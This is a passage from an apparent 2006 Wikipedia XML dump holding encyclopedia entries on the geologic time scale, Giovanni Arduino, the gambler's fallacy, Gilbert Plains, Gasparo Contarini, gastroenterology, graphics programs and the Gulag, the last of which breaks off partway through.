# Dates are slightly uncertain with differences of a few percent between various sources being common.  This is largely due to uncertainties in [[radiometric dating]] and the problem that deposits suitable for radiometric dating seldom occur exactly at the places in the geologic column where they would be most useful.  The dates and errors quoted above are according to the [[International Commission on Stratigraphy]] 2004 time scale.  Dates labeled with a * indicate boundaries where a [[Global Boundary Stratotype Section and Point]] has been internationally agreed upon.  
# Historically, the [[Cenozoic]] has been divided up into the [[Quaternary]] and [[Tertiary]] sub-eras, as well as the [[Neogene]] and [[Paleogene]] periods.  However, the International Commission on Stratigraphy has recently decided to stop endorsing the terms Quaternary and Tertiary as part of the formal nomenclature.
# In North America, the Carboniferous is subdivided into [[Mississippian]] and [[Pennsylvanian]] Periods.
# The [[Proterozoic]], [[Archean]] and [[Hadean]] are often collectively referred to as [[Precambrian|Precambrian Time]], and sometimes also as the [[Cryptozoic]].
# Defined by absolute age ([[Global Standard Stratigraphic Age]]).
# Though commonly used, the [[Hadean]] is not a formal eon and no lower bound for the Eoarchean has been agreed upon.  The Hadean has also sometimes been called the Priscoan or the Azoic.
# These era names were taken from Moon geology. Their use for Earth geology is unofficial.
# The start time for the [[Holocene]] epoch is here given as 11,430 years ago ± 130 years (i.e. between about [[9560BC]] and [[9300BC]]). For further discussion of the dating of this epoch, see [[Holocene]].
&lt;/div&gt;

==References==
* [http://www.stratigraphy.org/geowhen/ GeoWhen Database ]
* [http://www.stratigraphy.org/gssp.htm International Commission on Stratigraphy Time Scale ]
* [http://www.chronos.org CHRONOS ]
* [http://www.chronos.org/education/educational_resources.html CHRONOS Geologic Time references ]
* [http://www.nmnh.si.edu/paleo/geotime/index.htm Nation Museum on Natural History Geologic Time ]
* [http://www.bbc.co.uk/history/games/rocky/indextime.html BBC Interactive Time Line]

==See also==
* [[Age of the Earth]]
* [[Fossils and the geological timescale]]
* [[Timeline of evolution]]
* [[Cosmological timeline]]
* [[Lunar geologic timescale]]
* [[Martian geologic timescale]]
* [[Anthropocene]]
* [[Logarithmic timeline]]

==External links==
*[http://rst.gsfc.nasa.gov/Sect2/Sect2_1b.html NASA: Geologic Time]
*[http://www.geosociety.org/science/timescale/timescl.htm GSA: Geologic Time Scale]

[[Category:Earth sciences]]
[[Category:Geology]]
[[Category:Geochronology]]
[[Category:Geologic time scale| ]]
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[[fr:Échelle des temps géologiques]]
[[ko:지질 시대]]
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[[uk:Геохронологічна таблиця]]
[[zh:地質時代]]</text>
    </revision>
  </page>
  <page>
    <title>Giovanni Arduino</title>
    <id>12969</id>
    <revision>
      <id>39654870</id>
      <timestamp>2006-02-14T23:32:14Z</timestamp>
      <contributor>
        <ip>82.50.146.252</ip>
      </contributor>
      <text xml:space="preserve">'''Giovanni Arduino''' ([[Turin]], [[June 30]], [[1966]]) is a present-day fiction writer, freelance editor, translator and consultant from [[Moncalieri]], [[Turin]], [[Italy]]. 
His best-selling novels, which span and mix various genres such as [[young adult]], [[dark fantasy]], modern [[fables]], [[erotica]] and [[pop culture]], are published in [[Italy]], the [[U.S.]], [[Japan]], [[Germany]], and [[Spain]]. Giovanni Arduino has written under many different pseudonyms such as [[Joe Arden]] and [[Jonathan Snow]], but has mostly used his real name since 2003 for novels as &lt;i&gt;Chiudimi le labbra&lt;/i&gt; (Lain Books, [[Rome]], 2005) and &lt;i&gt;Mai come voi&lt;/i&gt; (Sperling &amp; Kupfer, [[Milan]], 2004). 
As an editor (senior editor first and editor-at-large since the late Nineties at Sperling &amp; Kufer Editori, [[Milan]], [[Italy]]) and scout, Giovanni Arduino introduced Italian readers to an eclectic, quirky, and highly personal mix of foreign authors such as [[Jim Carroll]], [[Nicholas Sparks]], [[Mark Leyner]], [[Poppy Z. Brite]], [[Ben Sherwood]], [[Marilyn Manson]], [[Rosemary Altea]], [[Sherman Alexie]], [[James O'Barr]], [[Francesca Lia Block]], [[Neale Donald Walsch]], [[Stephen Chbosky]] and many others, not to mention a vast array of media-related products, ranging from [[Pokemon]] and [[Beverly Hills 90210]] to [[Hamtaro]], [[Dawson's Creek]], [[Desperate Housewives]] and [[Buffy the Vampire Slayer]]. 
&lt;br&gt;

&lt;b&gt;External links&lt;/b&gt;
*[http://www.giovanniarduino.com Official Giovanni Arduino Website]

*[http://www.publishersmarketplace.com/members/giovanniarduino Giovanni Arduino Page on Publishers Marketplace]



   
-----------------------------------


'''Giovanni Arduino''' ([[Caprino Veronese]], [[October 16]], [[1714]] &amp;ndash; [[Venice]], [[March 21]], [[1795]]) was an  [[Italy|Italian]] [[geologist]] who is known as the &quot;Father of Italian [[Geology]].&quot;

Arduino was a [[mining]] specialist who developed possibly the first classification of geological time, based on study of the geology of northern [[Italy]].  In 1735, he divided the history of the Earth into four periods: Primitive, Secondary, Tertiary and Volcanic,or Quaternary. 

------

{{Italy-bio-stub}}
{{geologist-stub}}
[[Category:1714 births|Arduino, Giovanni]]
[[Category:1795 deaths|Arduino, Giovanni]]
[[Category:Italian geologists|Arduino, Giovanni]]
[[Category:Natives of the Veneto|Arduino, Giovanni]]
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[[Category:Italian writers|Arduino, Giovanni]]
[[Category:Italian novelists|Arduino, Giovanni]]
[[Category:Natives of Piedmont|Arduino, Giovanni]]
[[Category:1967 births|Arduino, Giovanni]]



[[de:Giovanni Arduino]]</text>
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  </page>
  <page>
    <title>Gambler's fallacy</title>
    <id>12970</id>
    <revision>
      <id>40029732</id>
      <timestamp>2006-02-17T16:49:41Z</timestamp>
      <contributor>
        <username>Gonzalo Diethelm</username>
        <id>87501</id>
      </contributor>
      <minor />
      <comment>/* An example: coin-tossing */</comment>
      <text xml:space="preserve">The '''gambler's fallacy''' is a [[logical fallacy]] which encompasses any of the following misconceptions:
* A [[random]] event is ''more'' likely to occur because it ''has not'' happened for a period of time;
* A random event is ''less'' likely to occur because it ''has not'' happened for a period of time;
* A random event is ''more'' likely to occur because it ''recently'' happened; and
* A random event is ''less'' likely to occur because it ''recently'' happened.
These are common misunderstandings that arise in everyday reasoning about [[probability|probabilities]], many of which have been studied in great detail. Many people lose money while [[gambling]] due to their erroneous belief in this fallacy.  Although the gambler's fallacy can apply to any form of gambling, it is easiest to illustrate by considering [[coin-tossing]]; its rebuttal can be summarised with the phrase &quot;the coin doesn't have a memory&quot;. 

== An example: coin-tossing ==

The gambler's fallacy can be illustrated by considering the repeated toss of a coin. With a fair coin the chances of getting heads are exactly 0.5 (a half). The chances of it coming up heads twice in a row are 0.5&amp;times;0.5=0.25 (a quarter).  The probability of three heads in a row is 0.5&amp;times;0.5&amp;times;0.5= 0.125 (an eighth) and so on.

Now suppose that we have just tossed four heads in a row.  A believer in the gambler's fallacy might say, &quot;If the next coin flipped were to come up heads, it would generate a run of five successive heads.  The probability of a run of five successive heads is &lt;math&gt;0.5^5=0.03125&lt;/math&gt;; therefore, the next coin flipped only has a 1 in 32 chance of coming up heads.&quot;

This is the fallacious step in the argument.  If the coin is fair, then by definition the probability of tails must '''always''' be .5, never more (or less), and the probability of heads must '''always''' be .5, never less (or more).  While a run of five heads is only 1 in 32 (0.03125), it is 1 in 32 '''before''' the coin is first tossed. '''After''' the first four tosses the results are no longer unknown, so they don't count. The probability of five consecutive heads is the same as four successive heads followed by one tails.  Tails is no more likely.  Each of the two possible outcomes has equal probability no matter how many times the coin has been flipped previously and no matter what the result. Reasoning that it is more likely that the next toss will be a tail than a head due to the past tosses is the fallacy. The fallacy is the idea that a run of luck in the past somehow influences the odds of a bet in the future.

Sometimes, gamblers argue, &quot;I just lost four times. Since the coin is fair and therefore in the long run everything has to even out, if I just keep playing, I will eventually win my money back.&quot; However, it is irrational to look at things &quot;in the long run&quot; starting from '''before''' he started playing; he ought to consider that in the long run from where he is now, he could expect everything to even out to his current point, which is four losses down.

[[Mathematics|Mathematically]], the probability is equal to one that gains will eventually equal losses and a gambler will return to his starting point; however, the expected number of times he has to play is infinite, and so is the expected amount of capital he will need! A similar argument shows that the popular doubling strategy (start with $1, if you lose, bet $2, then $4 etc., until you win) does not work;  see [[St. Petersburg paradox]]. Situations like these are investigated in the mathematical theory of [[random walk|random walks]]. This and similar strategies either trade many small wins for a few huge losses (as in this case) or vice versa.  With an infinite amount of working capital, one would come out ahead using this strategy; as it stands, one is better off betting a constant amount if only because it makes it easier to estimate how much one stands to lose in an hour or day of play.  

Notice that the gambler's fallacy is quite different from the following path of reasoning (which comes to the opposite conclusion): the coin comes up heads more often than tails, so it is not a fair coin, so I will bet that the next toss will be heads also. This is not fallacious, though the first step - the argument from a finite number of observations to a statement of likelihood - is a very delicate matter, and is itself prone to fallacies of its own peculiar kind. 

A joke told among mathematicians demonstrates the nature of the fallacy. When flying on an airplane, a man decides to always bring a bomb with him. &quot;The chances of an airplane having a bomb on it are very small,&quot; he reasons, &quot;and certainly the chances of having ''two'' are almost none!&quot;

Some claim that the gambler's fallacy is a [[cognitive bias]] produced by a psychological [[heuristic]] called the [[representativeness heuristic]].

=== Related links ===
[http://VegasReference.com/gambling/fallacy.html The gambler's fallacy exposed]

==Other examples==
* You flip a fair coin 20 times and it comes up heads every time.  What is the probability it will come up tails next time? (Answer: 0.5)
* A couple already has two daughters.  What is the probability that the next child is a son? (Answer: 0.5) [if we assume the gender of a child is completely random, and that a male or female child is equally likely, either or both of which may be incorrect.]
* Are you more likely to win the lottery by choosing the same numbers every time, or by choosing different numbers every time? (Answer: you are equally likely with either strategy.  In reality, you may be better off choosing numbers in such a way as to reduce the risk of splitting the jackpot.)

==Non-examples==

There are many scenarios where the gambler's fallacy might superficially seem to apply, where it in fact does not.

* When the probability of different events is '''not independent''', the probability of future events can change based on the outcome of past events.  An example of this is cards drawn without replacement.  It's true that once a jack is removed from the deck, the next draw is less likely to be a jack and more likely to be of another rank.  

* When the probability of each event is '''not even''', such as with a loaded die, a number which has come up more often in the past may very well continue to do so, if that number is favored by the weighting of the dice.  This has been dubbed ''Nerd's Gullibility Fallacy'' -- assuming the coin indeed is fair and the gamblers are honest when it isn't the case.  This is an example of [[David_Hume|Hume]]'s principle: twenty tails in a row indicates that it is far more likely that the coin is loaded than that the coin is fair and the next toss will be fifty-fifty heads or tails.  

* Sporting events and races are also not even, in that some entrants have better odds of winning than others. Presumably, the winner of one such event is more likely to win the next event than the loser.  

* The outcome of future events can be affected if external factors are allowed to change the probability of the events (e.g. changes in the rules of a game affecting a sports team's performance levels).

* Many riddles trick the reader into believing that they are an example of Gambler's Fallacy, such as the [[Monty Hall problem]].  Similarly, if I flip a coin twice and tell you that at least one of the two flips was heads, and ask what the probability is that they both came up heads, you might answer, that it is 50/50 (or 50%).  This is incorrect: if I tell you that one of the two flips was heads then I am removing the tails-tails outcome only, leaving the following possible outcomes: heads-heads, heads-tails, and tails-heads.  These are equally likely, so heads-heads happens 1 time in 3 or 33% of the time.  If I had specified that the ''first'' flip was heads, then the chances the second flip was heads too is 50%.

==See also== 
* [[Availability error]]
* [[Clustering illusion]]
* [[Illusion of control]]
* [[Inverse gambler's fallacy]]
* [[Law of averages]]
* [[Gambler's ruin]]
* [[Statistical regularity]]

[[Category:Gambling]]
[[Category:Statistics]]
[[Category:Logical fallacies]]
[[Category:Cognitive biases]]

[[he:כשל המהמר]]
[[lt:Lošėjo klaida]]</text>
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    <title>Studio Gainax</title>
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        <username>DocWatson42</username>
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      <comment>Changed this to a redirect to &quot;Gainax&quot;, as &quot;Studio Gainax&quot; is not used on the company site.</comment>
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    <title>Gun cotton</title>
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      <timestamp>2003-12-10T19:13:12Z</timestamp>
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        <username>JidGom</username>
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      <comment>Redirect to Notrocellulose which have more info and all that was here</comment>
      <text xml:space="preserve">#REDIRECT [[Nitrocellulose]]</text>
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  <page>
    <title>Gilbert Plains, Manitoba</title>
    <id>12974</id>
    <revision>
      <id>33497778</id>
      <timestamp>2006-01-01T18:18:56Z</timestamp>
      <contributor>
        <username>Jdobbin</username>
        <id>647144</id>
      </contributor>
      <text xml:space="preserve">:''For the rural municipality see [[Gilbert Plains, Manitoba (rural municipality)]]''

'''Gilbert Plains''' is a town in [[Manitoba]], [[Canada]], (population approx. 800) on highway 5 and the [[CN]] [[railway]] line, between [[Dauphin, Manitoba|Dauphin]] and [[Grandview, Manitoba|Grandview]], or about 250 miles NW of [[Winnipeg, Manitoba|Winnipeg]]. Incorporated in [[1906]], the original townsite was some miles to the south. Named for [[Gilbert Ross]], a [[Métis people (Canada)|Métis]] who was living in the region when the first [[European]] settler, [[Glenlyon Campbell]], arrived. The first white baby born  in the Gilbert Plains district was Myrtle McCurdy while the first white boy was Gilbert Clifford Best in 1900. 

Gilbert Plains is situated on the [[Valley River]], in the parkland country between the [[Riding Mountains]] and the [[Duck Mountains]]. It is primarily a service centre for the surrounding farms. 

[[Category:Communities in Manitoba]]
{{Manitoba-geo-stub}}
{{Manitoba}}</text>
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  <page>
    <title>Gasparo Contarini</title>
    <id>12975</id>
    <revision>
      <id>27650943</id>
      <timestamp>2005-11-07T21:17:53Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
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      <minor />
      <comment>Bringing &quot;External links&quot; and &quot;See also&quot; sections in line with [[Wikipedia:Manual of Style|Manual of Style]] recommendations.</comment>
      <text xml:space="preserve">'''Gasparo Contarini''' was an [[Italy|Italian]] [[diplomat]] and [[cardinal (Catholicism)|cardinal]]; born at [[Venice]] on [[October 16]], [[1483]], died at [[Bologna]] on [[August 24]], [[1542]].

After a thorough scientific and philosophical training, he began his career in the service of his native city. In 1521 he was the Republic's ambassador to [[Charles V, Holy Roman Emperor|Charles V]]. He accompanied Charles to Spain; later, after the [[Sack of Rome]], he assisted in reconciling the emperor and [[Pope Clement VII|Clement VII]], also the emperor and the Republic of Bologna. His accomplishments, but still more his mild resoluteness and blameless character, made him respected everywhere.

One of the fruits of his diplomatic activity is his ''De magistratibus et republica Venetorum''. In 1535, [[Pope Paul III|Paul III]] unexpectedly made the secular diplomat a cardinal in order to
bind an able man of evangelical disposition to the Roman interests. Contarini accepted, but in his
new position did not exhibit his former independence. The disposition which [[Leopold von Ranke|Ranke]] (''Popes'', i. 118) calls &quot;the collected product of all his higher faculties&quot; governed his action also in the new field.

At first everything seemed to work well. In 1536 Paul III appointed a commission to devise ways for a reformation. The [[Protestantism|Protestant]] [[evangelicalism|evangelical]] movement had made such progress in Italy that something had to be done, and it seemed best that the most influential be the agents. The decision was a bold one; Paul III, however, received favorably Contarini's [[Consilium de Emendanda Ecclesia]], but it remained a dead letter, and his successor [[Pope Paul IV|Paul IV]], once a member on the commission, in 1539 put it on the Index, a deed which still embarrasses Catholic historians. What Contarini had to do with it is shown by his letters to the pope in which he complained of the schism in the church, of [[simony]] and flattery in the papal court, but above all of papal tyranny. But he came a century too late.

Contarini in a letter to his friend [[Reginald Cardinal Pole|Cardinal Pole]] (dated [[November 11]], [[1538]]) says that his hopes had been wakened anew by the pope's attitude. He and his friends, who formed the Catholic evangelical movement of the [[Spirituali]], thought that all would have been done when the abuses in church life had been put away. This was the judgment of a diplomat of noble and virtuous nature, reared on the best fruits of antiquity and refined through the [[Gospel]], urged on by a desire for peace, and unfettered by [[dogma]]tic formulas.

But he was soon to see the other side. In the year 1541 he was papal delegate at the diet and religious debate at Ratisbon. There everything was unfavorable; the Catholic states were bitter, the Evangelicals were distant. Contarini's instructions though apparently free were full of papal reservations. But the papal party had gladly sent him, thinking that through him a union in doctrine
could be brought about, while the interest of Rome could be attended to later. Though the princes stood aloof, the theologians and the emperor were for peace, so the main articles were put forth in a formula, Evangelical in thought and Catholic in expression. The papal legate had revised the Catholic proposal and assented to the formula agreed upon. All gave their approval, even [[Johann Eck|Eck]], though he later regretted it. This did little good, for the [[Protestantism|Protestants]] could see in it only Roman cunning; at home the cardinal fared still worse.

His own position is shown in a treatise on justification, composed at [[Ratisbon]], which in essential points is Evangelical, differing only in the omission of the negative side and in being interwoven with the teaching of [[Thomas Aquinas|Aquinas]]. Meanwhile the papal policy had changed, and Contarini was compelled to follow his leader. He advised the emperor, after the conference had broken up, not to renew it, but to submit everything to the pope. 

In a second decision he is even more ultramontane. It is not difficult to reconcile this course of action with his character, for from the beginning Luther repelled him as did the popular movement in [[Germany]]. He lived in the belief that a reformation should begin at the head, and his birth, education, and diplomatic career made him view the question rather from the point of polity than of doctrine, and consequently he was willing to mediate here. But the negative side, which had produced the [[schism]], remained unintelligible to him, he could concede only the marriage of the clergy and
communion in both elements.

Meanwhile Rome had drifted further into reaction, and he died while legate at Bologna, at a time when the [[Inquisition]] had driven many of his friends and fellows in conviction into exile. He was happily spared a decision which perhaps would have been too hard for him, and so he could leave behind him the character of a man who knew the truth and willed the good. 

----
Initial text from Schaff-Herzog Encyc of Religion

==See also==

[[Pope Paul III|Paul III]]

==External links==
[http://www.newadvent.org/cathen/04323c.htm Gasparo Contarini article on Catholic Encyclopedia]

[[Category: Italian cardinals|Contarini]]
[[Category:Italian diplomats|Contarini]]
[[Category:Spirituali|Contarini]]
[[Category:1483 births|Contarini]]
[[Category:1542 deaths|Contarini]]
[[Category:Natives of Venice|Contarini]]

[[de:Gasparo Contarini]]
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  <page>
    <title>Gastroenterology</title>
    <id>12976</id>
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      <id>40788892</id>
      <timestamp>2006-02-23T00:51:13Z</timestamp>
      <contributor>
        <username>Jbhood</username>
        <id>630935</id>
      </contributor>
      <comment>Added Burrill Bernard Crohn to Important figures in Gastroenterology</comment>
      <text xml:space="preserve">'''Gastroenterology''' or '''gastrology''' is the medical specialty concerned with the field of [[digestive diseases]]. Traditionally, these are separated by anatomic or functional category. For example, disorders of the [[esophagus]] might be listed under &quot;esophagus&quot; and also included in a description of motility disorders (disorders of motor function).  Diseases of the [[liver]] fall under the branch of [[hepatology]], which is traditionally classified under the umbrella of gastroenterology.

List of signs and symptoms of gastroenterological diseases :
* [[constipation]]
* [[diarrhea]]
* [[vomit|vomiting]]
* [[nausea]]
* [[abdominal pain]]

List of research fields in Gastroenterology :
* [[Neurogastroenterology]]
* [[Motility]]

==Important figures in Gastroenterology==
* [[William Beaumont]]
* [[Basil Hirschowitz]]
* [[Burrill Bernard Crohn]]

==Gastroenterological Societies==
* [[American College of Gastroenterology]]
* [[American Gastroenterological Association]]
* [[European Society of Gastrointestinal Endoscopy]]
* [[World Gastroenterology Organisation]]

==External links==
* [http://www.acg.gi.org/ American College of Gastroenterology]
* [http://www.worldgastroenterology.org/ World Gastroenterology Organisation]

{{Gastroenterology}}
{{Medicine}}

[[Category:Gastroenterology| ]]

[[de:Gastroenterologie]]
[[it:Gastroenterologia]]
[[he:גסטרואנטרולוגיה]]
[[ja:消化器学]]
[[pl:Gastroenterologia]]
[[pt:Gastroenterologia]]
[[sv:Gastroenterologi]]
[[tr:Gastroenteroloji]]</text>
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    <title>Graphics programs</title>
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      <text xml:space="preserve">#REDIRECT [[Graphics_program]]
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    <title>Graphics program</title>
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      <timestamp>2006-01-26T22:21:48Z</timestamp>
      <contributor>
        <username>NickelShoe</username>
        <id>418205</id>
      </contributor>
      <comment>Category:Graphics software|*</comment>
      <text xml:space="preserve">A '''graphics program''' is a piece of [[computer software]] that enables a user to modify or view [[Graphics file formats|graphics files]].
Computer graphics can be classified into two distinct categories: [[raster graphics]] and [[vector graphics]].
Before learning about computer software that manipulates or displays these graphics types, you should be familiar with both.

Many graphics programs focus exclusively on either vector or raster graphics, but there are a few that combine them in interesting and sometimes unexpected ways. It is simple to convert from vector graphics to raster graphics, but going the other way is harder. Some software attempts to do this.

Most graphics programs have the ability to import and export one or more [[graphics file formats]].

Several graphics programs support [[animation]], or [[Digital video|digital video]].
Vector graphics animation can be described as a series of mathematical transformations that are applied in sequence to one or more shapes in a scene.
Raster graphics animation works in a similar fashion to film-based animation, where a series of still images produces the illusion of continuous movement.

Common graphics programs include:

*[[List of bitmap graphics editors]]
*[[List of vector graphics editors]]

[[Category:Graphics software|*]]

[[bs:Grafički program]]</text>
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  <page>
    <title>GULAG</title>
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        <ip>68.39.174.238</ip>
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      <comment>Redirect to the larger articel on the same subject</comment>
      <text xml:space="preserve">#REDIRECT [[Gulag]]</text>
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  <page>
    <title>Gulag</title>
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      <contributor>
        <ip>128.12.130.43</ip>
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      <comment>/* References */  *m*</comment>
      <text xml:space="preserve">'''Gulag'''  ([[Russian (language)|Russian]]: '''ГУЛАГ''' {{Audio|ru-Gulag.ogg|listen}}) is an acronym for  '''''Г'''лавное '''У'''правление Исправительно—Трудовых '''Лаг'''ерей и колоний'',  &quot;'''G'''lavnoye '''U'''pravleniye Ispravitelno-trudovykh '''Lag'''erey i kolonii&quot;, &quot;The Chief Directorate [or Administration] of Corrective Labour Camps and Colonies&quot; of the [[NKVD]].  [[Anne Applebaum]], in her book ''Gulag: A History'', explains:

:Literally, the word GULAG is an acronym, meaning '''''G'''lavnoe '''U'''pravlenie '''Lag'''erei'', or Main Camp Administration. Over time, the word &quot;Gulag&quot; has also come to signify not only the administration of the concentration camps but also the system of Soviet slave labor itself, in all its forms and varieties: labor camps, punishment camps, criminal and political camps, women's camps, children's camps, transit camps. Even more broadly, &quot;Gulag&quot; has come to mean the Soviet repressive system itself, the set of procedures that prisoners once called the &quot;meat-grinder&quot;: the arrests, the interrogations, the transport in unheated cattle cars, the forced labor, the destruction of families, the years spent in exile, the early and unnecessary deaths.[http://www.anneapplebaum.com/gulag/intro.html]

It was the branch of the [[NKVD|State Security]] that operated the penal system of [[Labor camp|forced labour camps]] and associated detention and transit camps and prisons. While these camps housed criminals of all types, the Gulag system has become primarily known as a place for political prisoners and as a mechanism for repressing political opposition to the [[Soviet Union|Soviet state]]. Though it imprisoned millions, the name became familiar in the West only with the publication of [[Aleksandr Solzhenitsyn]]'s [[1973]] ''[[The Gulag Archipelago]]'', which likened the scattered camps to a chain of islands.

[[Image:Arch gulag cover.jpg|thumb|right]]

== Terminology ==

Some authors refer to all prisons and camps throughout Soviet history (1917&amp;ndash;1991) as the ''Gulags''. Also, the term's modern usage is often notably unrelated to the USSR: for example, in such expressions as &quot;[http://www.guardian.co.uk/korea/article/0,2763,1136483,00.html North Korea's gulag]&quot;. Note that the original Russian acronym, never in plural, described not a single camp, but the government institution in charge of the entire camp system. 

The term &quot;corrective labor camp&quot; was suggested for official use by the [[politburo]] of the Communist Party of the Soviet Union session of July 27, 1929, as a replacement of the term [[concentration camp]], commonly used until that time.

A colloquial name for a Soviet Gulag inmate was &quot;'''zeka'''&quot;, &quot;'''zek'''&quot;. In [[Russian language|Russian]], &quot;inmate&quot;, &quot;incarcerated&quot; is &quot;заключённый&quot;, ''zakliuchennyi'', usually abbreviated to 'з/к' in paperwork, pronounced as 'зэка' (zeh-KA), gradually transformed into 'зэк' and to 'зек'. The word is still in colloquial use, irrelevant to labour camps. 'з/к' initially was an acronym standing for &quot;заключённый каналостроитель&quot;, &quot;'''z'''akliuchennyi '''k'''analostroitel'&quot; (incarcerated canal-builder), originating to the [[Volga-Don Canal]] slave workforce members. Later the term was [[backronym|backronymed]] to mean just &quot;zakliuchennyi&quot;.

== Variety ==

In addition to the most common category of camps that practiced hard physical labour and prisons of various sorts, other forms also existed. 
* ''[[Sharashka]]'' (шарашка, ''the goofing-off place'') were in fact secret research laboratories, where the arrested and convicted scientists, some of them prominent, were anonymously developing new technologies, and also conducting basic research. 
* ''[[Psikhushka]]'' (психушка, ''the nut house''), the forced medical treatment in [[psychiatric imprisonment]] was used, in lieu of camps, to isolate and break down [[political prisoner]]s. This practice became much more common after the official dismantling of the Gulag system. See [[Vladimir Bukovsky]], [[Pyotr Grigorenko]]. 
* Special camps or ''zones'' for children (Gulag [[jargon]]: &quot;малолетки&quot;, ''maloletki'', ''underaged''), for disabled (in [[Spassk]]), and for mothers (&quot;мамки&quot;, ''mamki'') with babies. These categories were considered as not producing any useful outcome and often subjected to more [[abuse]].  {{fact}}
* Camps for &quot;wives of traitors of Motherland&quot; (there was a special category of repression: &quot;[[Traitor of Motherland Family Member]]&quot; (ЧСИР, член семьи изменника Родины)).
* Under the supervision of [[Lavrenty Beria]] who headed both NKVD and the Soviet [[Atom bomb]] program until his demise in [[1953]], thousands of ''zeks'' were used to mine [[uranium]] [[ore]] and prepare test facilities on [[Novaya Zemlya]], [[Vaygach Island]], [[Semipalatinsk Test Site|Semipalatinsk]], among other sites. Reports even state that Gulag prisoners were used in early [[nuclear test]]s (the first was conducted in Semipalatinsk in [[1949]]) in decontaminating [[radioactive]] areas and [[nuclear submarine]]s.

== History ==

[[Image:GPU.jpg|GPU poster|left|thumb|Soviet poster of the 1920s: The GPU strikes the counter-revolutionary saboteur on the head]]
From 1918 camp-type detention facilities were set up, as a reformed extension of earlier [[labor camp|labour camp]]s ([[katorga]]s), operated in [[Siberia]] as a part of penal system in [[Imperial Russia]].  The two main types were &quot;[[Vechecka]] Special-purpose Camps&quot;  (&quot;особые лагеря ВЧК&quot;) and [[forced labor camp]]s (лагеря принудительных работ). They were installed for various categories of people deemed dangerous for the state: for common criminals, for prisoners of the [[Russian Civil War]], for officials accused of corruption, sabotage and embezzlement, various political enemies and dissidents, as well as former aristocrats, businessmen and large land owners. 

The legal base and the guidance for the creation of the system of &quot;corrective labor camps&quot; (Russian: &quot;исправительно-трудовые лагеря&quot;, &quot;Ispravitel'no-trudovye lagerya&quot;), the backbone of what is commonly referred to as the &quot;Gulag,&quot; was a secret decree of [[Sovnarkom]] of [[July 11]] [[1929]] about the utilization of [[penal labor]] (see its [[#wikisource|wikisource reference]]), that duplicated the corresponding appendix to the minutes of [[Politburo]] meeting of [[June 27]], [[1929]].

As an all-[[Soviet Union|Union]] institution and a main administration with the [[OGPU]], the Soviet Secret Police, the GULAG was officially established on [[April 25]], [[1930]] as the &quot;ULAG&quot; by the OGPU order 130/63 in accordance with the [[Sovnarkom]] order 22 p. 248 dated [[April 7]], 1930, and was renamed into GULAG in November. 

In the early 1930s, a drastic tightening of Soviet penal policy caused a significant growth of the prison camp population. During the period of the [[Great Terror]] ([[1937]]-[[1938]]), mostly arbitrary mass arrests caused another upsurge in inmate numbers. During these years, hundreds of thousands of individuals were arrested and sentenced to long prison terms on the grounds of one of the multiple passages of the notorious [[Article 58]] of the Criminal Codes of the Union republics, which defined punishment for various forms of &quot;counterrevolutionary activities.&quot; 

The hypothesis that economic considerations were responsible for mass arrests during the period of Stalinism has been refuted on the grounds of former Soviet archives that have become accessible since the 1990s. Nevertheless, the development of the camp system followed economic lines. (To &quot;corrective labor colonies&quot; this applies to a much lesser extent, to special settlements almost not at all.) The growth of the camp system coincided with the peak of the Soviet [[industrialization]] campaign. Hence, most of the camps established to accommodate the masses of incoming prisoners were assigned distinct economic tasks. These included the exploitation of natural resources and the colonization of remote areas as well as the realization of enormous infrastructural facilities and industrial construction projects. 

In 1931&amp;ndash;32, the Gulag had approximately 200,000 prisoners in the camps; in 1935 &amp;mdash; approximately 800,000 in camps and 300,000 in colonies (annual averages), and in 1939 about 1.3 millions in camps and 350,000 in colonies. (No Citations)

During [[World War II]], Gulag populations declined sharply, owing to the mass releases of hundreds of thousands of prisoners who were conscripted and sent directly to the front lines (often into [[penal battalion]]s, who were thrown into the most dangerous battles and experienced high casualty rates) and a steep rise in mortality in [[1942]]&amp;ndash;[[1943]]. After WWII the number of inmates in prison camps and colonies again rose sharply, reaching approximately 2.5 million people by the early [[1950s]] (about 1.7 millions of whom were in camps). While some of these were deserters and war criminals, there were also 339,000 Soviet citizens repatriated from [[Displaced persons camp|DP camps]] in Germany (including 233,000 thousand former military personell) charged with treason and aiding the enemy. Large numbers of civilians from Russian territories which came under foreign occupation and territories annexed by the [[Soviet Union]] after the war were also sent there. It was not uncommon for the survivors of [[Nazi]] camps to be transported directly to the Soviet labour camps.

For years after WWII, a significant minority of the inmates were [[Balts]] and [[Ukrainians]] from lands newly incorporated into the USSR, as well as [[Finn]]s, [[Poles]], [[Romania|Romanian]]s and other people from foreign countries cleared of Fascism by the [[Red Army]]. [[POW]]s, in contrast, were kept in a separate camp system, which was managed by a separate main administration with the NKVD/MVD.

The state continued to maintain the camp system for a while after Stalin's death in March of [[1953]]. The subsequent [[amnesty]] program was limited to those who had to serve at most 5 years, therefore mostly those convicted of common crimes were then freed. The release of [[political prisoners]] started in [[1954]] and became widespread, and also coupled with mass [[rehabilitation (Soviet)|rehabilitation]]s, after [[Nikita Khrushchev]]'s denunciation of [[Stalinism]] in his [[Secret Speech]] at the 20th Congress of the [[Communist Party of the Soviet Union|CPSU]] in February, [[1956]]. Altogether, according to recent estimates on the basis of archival documents, about 18-20 million people had been prisoners in camps and colonies throughout the period of Stalinism at one point or another. By the end of the 1950s, virtually all &quot;corrective labor camps&quot; were dissolved. Colonies, however, continued to exist. 

Officially the GULAG was liquidated by the [[MVD]] order 20 of [[January 25]], [[1960]].

The total documentable deaths in the system of corrective-labor camps and colonies from [[1930]] to [[1956]] amount to 1,606,748, including political and common prisoners; note that this number does not include more than 800,000 executions of &quot;counterrevolutionaries&quot; during the period of the &quot;Great Terror&quot;, since they were mostly conducted outside the camp system and were accounted for separately. From 1932 to 1940, at least 390,000 peasants died in places of [[Involuntary settlements in the Soviet Union|labor settlements]]. One may also assume that many of the survivors suffered permanent physical and psychological damage.  &lt;!-- On the number of prisoners and their mortality, see Getty, Rittersporn and Zemskov's paper in the American Historical Review, Vol 98, No 4 --&gt; Deaths at some camps are documented more thoroughly than those at others.

== Conditions ==

[[Image:Belomorkanal.png|left|thumb|250px|Prisoner labour at the construction of [[Belomorkanal]], 1931&amp;mdash;1933]]
Extreme production [[quota]]s, brutality, hunger and harsh elements were the major reasons for the Gulag's high fatality rate, which was as high as 80% during the first months in many camps. 

